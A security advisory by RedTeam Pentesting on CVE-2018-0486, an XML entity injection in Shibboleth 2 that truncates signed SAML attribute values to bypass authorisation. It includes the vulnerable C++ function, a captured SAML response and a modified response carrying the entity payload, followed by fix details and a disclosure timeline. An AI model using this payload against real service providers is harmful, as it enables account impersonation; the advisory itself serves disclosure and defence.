Shibboleth 2 XML Injection

`Advisory: Truncation of SAML Attributes in Shibboleth 2  
  
RedTeam Pentesting discovered that the shibd service of Shibboleth 2  
does not extract SAML attribute values in a robust manner. By inserting  
XML entities into a SAML response, attackers may truncate attribute  
values without breaking the document's signature. This might lead to a  
complete bypass of authorisation mechanisms.  
  
  
Details  
=======  
  
Product: Shibboleth 2  
Affected Versions: before 2.6.1 (with XMLTooling-C prior 1.6.3)  
Fixed Versions: 2.6.1  
Vulnerability Type: Authorisation Bypass  
Security Risk: high  
Vendor URL: https://www.shibboleth.net/  
Vendor Status: notified  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-013  
Advisory Status: public  
CVE: CVE-2018-0486  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0486  
  
  
Introduction  
============  
  
"Shibboleth is among the world's most widely deployed federated identity  
solutions, connecting users to applications both within and between  
organizations. Every software component of the Shibboleth system is free  
and open source.  
  
Shibboleth is an open-source project that provides Single Sign-On  
capabilities and allows sites to make informed authorization decisions  
for individual access of protected online resources in a  
privacy-preserving manner."  
(from the Shibboleth Consortium's website [1])  
  
  
More Details  
============  
  
Shibboleth 2 makes use of SAML 2 to communicate assertions between  
identity providers and service providers. In some modes of operation,  
SAML messages are relayed through a user's browser. Therefore, their  
integrity must be protected. SAML accomplishes this by utilizing the XML  
signature standard [2] to sign its messages. When employing signatures,  
it is important that signed data is interpreted in a consistent manner  
by all parties.  
  
RedTeam Pentesting discovered that by inserting XML entities into a SAML  
response, the XML signature processor and the Shibboleth application  
will interpret the response differently. Parts of the document, for  
example values of SAML attributes, can partially be substituted by XML  
entities. An inline document type definition at the beginning of the XML  
document is inserted to define these entities. During signature  
verification, the XML document is canonicalized, which includes  
resolution of entities. The definition of all entities is chosen such  
that, after their resolution, the original contents of the XML document  
appear again. For example, if "RedTeam" was replaced with "Re&x;am", the  
entity "x" will be defined as the string "dTe". Consequently, the  
signature remains intact as the content of the document was not  
changed.  
  
After validating the signature of a SAML response, Shibboleth will  
extract various information from the document, such as the values of  
SAML attributes. Extracting strings from the XML DOM is implemented  
by the function shown below (shortened and re-formatted):  
  
------------------------------------------------------------------------  
void AbstractXMLObjectUnmarshaller::unmarshallContent(  
const DOMElement* domElement)  
{  
[...]  
DOMNode* childNode = domElement->getFirstChild();  
[...]  
unsigned int position = 0;  
while (childNode) {  
if (childNode->getNodeType() == DOMNode::ELEMENT_NODE) {  
[...]  
// Advance the text node position marker.  
++position;  
}  
else if (  
childNode->getNodeType() == DOMNode::TEXT_NODE  
|| childNode->getNodeType() == DOMNode::CDATA_SECTION_NODE  
) {  
m_log.debug("processing text content at position (%d)",  
position);  
setTextContent(childNode->getNodeValue(), position);  
}  
  
childNode = childNode->getNextSibling();  
}  
}  
------------------------------------------------------------------------  
  
This function fails to take into account the presence of sibling text  
and entity nodes in the DOM. The "position" variable is only incremented  
if an element node is encountered. If sibling text nodes are  
encountered, "setTextContent" will be called multiple times with  
"position" set to zero. Consequently, only the contents of the last  
sibling text node will be retrieved from the DOM. For example, consider  
the following XML snippet:  
  
<x>attacker&x;[email protected]</x>  
  
When called on "<x>", the "unmarshallContent" function will first  
extract "attacker". The "&x;" entity will be ignored. Next,  
"[email protected]" will be fetched from the DOM. However, as "position"  
was never incremented, this latter string overwrites the previously  
extracted data.  
  
By exploiting the behaviour of this function, attackers can truncate  
SAML attribute values. Arbitrary prefixes and or suffixes may be removed  
without breaking the XML signature.  
  
  
Proof of Concept  
================  
  
Exploitation of this vulnerability is demonstrated using the  
dockerized-idp-testbed [3] which implements a minimal Shibboleth  
infrastructure using multiple docker containers. It includes a sample  
PHP service provider that utilizes Apache mod_shib and shibd for  
authentication purposes. A Java-based Shibboleth identity provider is  
included which is backed by LDAP.  
  
First, the service provider application is accessed without  
authentication. It will generate a SAML request and redirect to the  
identity provider. Using the credentials "staff1:password"  
authentication is performed at the identity provider. Afterwards, the  
identity provider will redirect back to the service provider application  
using an HTTP POST request which includes a SAML response. This HTTP  
request is intercepted and the XML document is extracted:  
  
------------------------------------------------------------------------  
<?xml version="1.0" encoding="UTF-8"?>  
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"  
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"  
ID="_04cfe67e596b7449d05755049ba9ec28"  
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"  
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">  
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">  
https://idptestbed/idp/shibboleth  
</saml2:Issuer>  
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">  
<ds:SignedInfo>  
<ds:CanonicalizationMethod  
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:SignatureMethod  
Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha512"/>  
<ds:Reference URI="#_04cfe67e596b7449d05755049ba9ec28">  
<ds:Transforms>  
<ds:Transform  
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>  
<ds:Transform  
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
</ds:Transforms>  
<ds:DigestMethod  
Algorithm="http://www.w3.org/2001/04/xmlenc#sha512"/>  
<ds:DigestValue>  
WOqxoqLlLBlkymI8WFIvMYK+8xakSCyuykHnD2ffLfM0rxRP3RrrYUETDo7Wx  
8Hji4ECd70FvkhWM0Vwhfhuhg==  
</ds:DigestValue>  
</ds:Reference>  
</ds:SignedInfo>  
<ds:SignatureValue>  
VmfS2vJ2FnoB45rzSMrgOvqpMLqPuxV0e1dZA5L2DfcC8tJ6ao6GPE0pdsgYYyxdjI/eY4fM  
xnCLkeZfHPNt6lXa+/N1yWmxdWnhHJ9XYrWS+0Qgo7kdcWBDLIRjKdxnqYKrtT14I1qpSq2K  
gKeoFK2nZ2JkIH1F69Hj7GFT4gGFJY25RoKfOvcyI6Pb2MFT7PmmW5Fu2CoJRTOTpI3lyLq8  
3YCbNaX9khBdpe8oIA8T89kQuwOTy0rkqAMONh+OizTPVkaCldT39ohO/WZftS33zsC9UlSJ  
NPAnKlSHYuObZoB6tiU6qGX5SLhBYuy0kaA7WHl2Vu7bceXDlMvDqw==  
</ds:SignatureValue>  
<ds:KeyInfo>  
<ds:X509Data>  
<ds:X509Certificate>  
MIIDFDCCAfygAwIBAgIVAN3vv+b7KN5Se9m1RZsCllp/B/hdMA0GCSqGSIb3DQEBCwUAMBUx  
EzARBgNVBAMMCmlkcHRlc3RiZWQwHhcNMTUxMjExMDIyMDE0WhcNMzUxMjExMDIyMDE0WjAV  
MRMwEQYDVQQDDAppZHB0ZXN0YmVkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA  
h91caeY0Q85uhaUyqFwP2bMjwMFxMzRlAoqBHd7gu6eo4duaeLz1BaoR2XTBpNNvFR5oHH+T  
kKahVDGeH5+kcnIpxI8JPdsZml1srvf2Z6dzJsulJZUdpqnngycTkGtZgEoC1vmYVky2BSAI  
Iifmdh6s0epbHnMGLsHzMKfJCb/Q6dYzRWTCPtzE2VMuQqqWgeyMr7u14x/Vqr9RPEFsgY8G  
Iu5jzB6AyUIwrLg+MNkv6aIdcHwxYTGL7ijfy6rSWrgBflQoYRYNEnseK0ZHgJahz4ovCag6  
wZAoPpBsuYlY7lEr89Ucb6NHx3uqGMsXlDFdE4QwfDLLhCYHPvJ0uwIDAQABo1swWTAdBgNV  
HQ4EFgQUAkOgED3iYdmvQEOMm6u/JmD/UTQwOAYDVR0RBDEwL4IKaWRwdGVzdGJlZIYhaHR0  
cHM6Ly9pZHB0ZXN0YmVkL2lkcC9zaGliYm9sZXRoMA0GCSqGSIb3DQEBCwUAA4IBAQBIdd4Y  
WlnvJjql8+zKKgmWgIY7U8DA8e6QcbAf8f8cdE33RSnjI63Xsv/y9GfmbAVAD6RIAXPFFeRY  
J08GOxGI9axfNaKdlsklJ9bk4ducHqgCSWYVer3sRQBjxyOfSTvk9YCJvdJVQRJLcCvxwKak  
FCsOSnV3t9OvN86Ak+fKPVB5j2fM/0fZKqjn3iqgdNPTLXPsuJLJO5lITRiBa4onmVelAiCs  
tI9PQiaEck+oAHnMTnC9JE/BDHv3e4rwq3LznlqPw0GSd7xqNTdMDwNOWjkuOr3sGpWS8ms/  
ZHHXV1Vd22uPe70is00xrv14zLifcc8oj5DYzOhYRifRXgHX  
</ds:X509Certificate>  
</ds:X509Data>  
</ds:KeyInfo>  
</ds:Signature>  
<saml2p:Status>  
<saml2p:StatusCode  
Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>  
</saml2p:Status>  
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"  
ID="_0d9bb7eeff709e93bc84196a815b5d2f"  
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">  
<saml2:Issuer>https://idptestbed/idp/shibboleth</saml2:Issuer>  
<saml2:Subject>  
<saml2:NameID  
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"  
NameQualifier="https://idptestbed/idp/shibboleth"  
SPNameQualifier="https://sp.idptestbed/shibboleth">  
AAdzZWNyZXQxb597SlBurufjA6ok5OqWHfUFMVzkhgqw6ZMRuvy5mcH8jMNiaqA4DyyYJmjJ  
q3Da9qTcCFt1gom2qN7u+jqySIEDXGxwalmT0uYitXl5uSJ9rvZm4oc+5RcpU/bGUqxBU9Ce  
m7I=  
</saml2:NameID>  
<saml2:SubjectConfirmation  
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">  
<saml2:SubjectConfirmationData Address="172.19.0.3"  
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"  
NotOnOrAfter="2017-12-08T15:20:56.077Z"  
Recipient="https://idptestbed/Shibboleth.sso/SAML2/POST"/>  
</saml2:SubjectConfirmation>  
</saml2:Subject>  
<saml2:Conditions NotBefore="2017-12-08T15:15:56.062Z"  
NotOnOrAfter="2017-12-08T15:20:56.062Z">  
<saml2:AudienceRestriction>  
<saml2:Audience>  
https://sp.idptestbed/shibboleth  
</saml2:Audience>  
</saml2:AudienceRestriction>  
</saml2:Conditions>  
<saml2:AuthnStatement AuthnInstant="2017-12-08T15:15:55.942Z"  
SessionIndex="_4024a546cb14b165d953781d0472c105">  
<saml2:SubjectLocality Address="172.19.0.3"/>  
<saml2:AuthnContext>  
<saml2:AuthnContextClassRef>  
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport  
</saml2:AuthnContextClassRef>  
</saml2:AuthnContext>  
</saml2:AuthnStatement>  
<saml2:AttributeStatement>  
<saml2:Attribute FriendlyName="uid"  
Name="urn:oid:0.9.2342.19200300.100.1.1"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue>  
staff1  
</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute FriendlyName="mail"  
Name="urn:oid:0.9.2342.19200300.100.1.3"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue>  
[email protected]  
</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute FriendlyName="sn" Name="urn:oid:2.5.4.4"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue>  
aff  
</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute FriendlyName="givenName"  
Name="urn:oid:2.5.4.42"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue>  
St  
</saml2:AttributeValue>  
</saml2:Attribute>  
</saml2:AttributeStatement>  
</saml2:Assertion>  
</saml2p:Response>  
------------------------------------------------------------------------  
  
Next, the SAML response is modified as follows:  
  
------------------------------------------------------------------------  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE Response [  
<!ENTITY s "s">  
<!ENTITY f1 "f1">  
]>  
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"  
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"  
ID="_04cfe67e596b7449d05755049ba9ec28"  
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"  
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">  
[...]  
<saml2:Attribute FriendlyName="uid"  
Name="urn:oid:0.9.2342.19200300.100.1.1"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue>  
&s;taf&f1;  
</saml2:AttributeValue>  
</saml2:Attribute>  
[...]  
</saml2p:Response>  
------------------------------------------------------------------------  
  
At the beginning of the document, an inline document type definition was  
inserted which defines two entities:  
  
* &s; which resolves to the string "s"  
* &f1; which resolves to the string "f1"  
  
Additionally, the value of the "uid" attribute is rewritten using these  
entities: The original value of "staff1" is replaced with "&s;taf&f1;".  
After these modifications, the XML document is re-inserted into the HTTP  
POST request which is then sent to the service provider.  
  
The SAML response is accepted by the service provider. Due to the  
vulnerability, the service provider application reports "taf" as the  
value of the "uid" attribute.  
  
  
Workaround  
==========  
  
The use of XML encryption can serve as a mitigation for this  
vulnerability but may still allow attacks in certain scenarios.  
  
  
Fix  
===  
  
Manually update to the latest version [4] as described in the security  
advisory published by Shibboleth [5]. Alternatively, use the operating  
system's package management to receive the update [6].  
  
Furthermore, a new version of the XMLTooling-C library (1.6.3) has been  
released to address this vulnerability. DTD processing is now disabled  
in the XML parser. Yet, some platforms ship with old parser versions  
that do not allow DTD processing to be disabled, namely Red Hat and  
CentOS. Therefore, the "unmarshallContent" function has also been  
hardened to mitigate the vulnerability on these platforms.  
  
  
Security Risk  
=============  
  
The key feature of Shibboleth, secure transfer of assertions, is  
compromised. Therefore, the vulnerability is rated as a high risk. In  
certain circumstances, this might lead to a complete bypass of  
authorisation mechanisms. In practice, the risk for service providers is  
highly dependent on the actual deployment of the Shibboleth  
infrastructure: Sometimes, SAML responses are encrypted or not  
transferred through a browser. In this case, an attacker is not able to  
insert XML entities. Whether truncating SAML attribute values is  
profitable for attackers also depends on the actual use and structure of  
these values. Attackers may use an application's self-service features  
to change their account's email to a manipulated but valid address.  
Truncation of this email address in a SAML response could lead to access  
to further accounts, effectively bypassing authorisation mechanisms.  
  
  
Timeline  
========  
  
2017-11-06 Vulnerability identified  
2017-11-13 Customer approved further research  
2017-12-01 Further research conducted  
2018-01-09 Customer approved disclosure to vendor  
2018-01-10 Vendor notified  
2018-01-12 Vendor released fixed version  
2018-01-15 Advisory released  
  
  
References  
==========  
  
[1] https://www.shibboleth.net/  
[2] https://www.w3.org/TR/xmldsig-core/  
[3] https://github.com/UniconLabs/dockerized-idp-testbed  
[4] https://shibboleth.net/downloads/service-provider/2.6.1/  
[5] https://shibboleth.net/community/advisories/secadv_20180112.txt  
[6] https://security-tracker.debian.org/tracker/CVE-2018-0486  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting is looking for penetration testers to join our team  
in Aachen, Germany. If you are interested please visit:  
https://www.redteam-pentesting.de/jobs/  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
Geschaftsfuhrer: Patrick Hof, Jens Liebchen  
`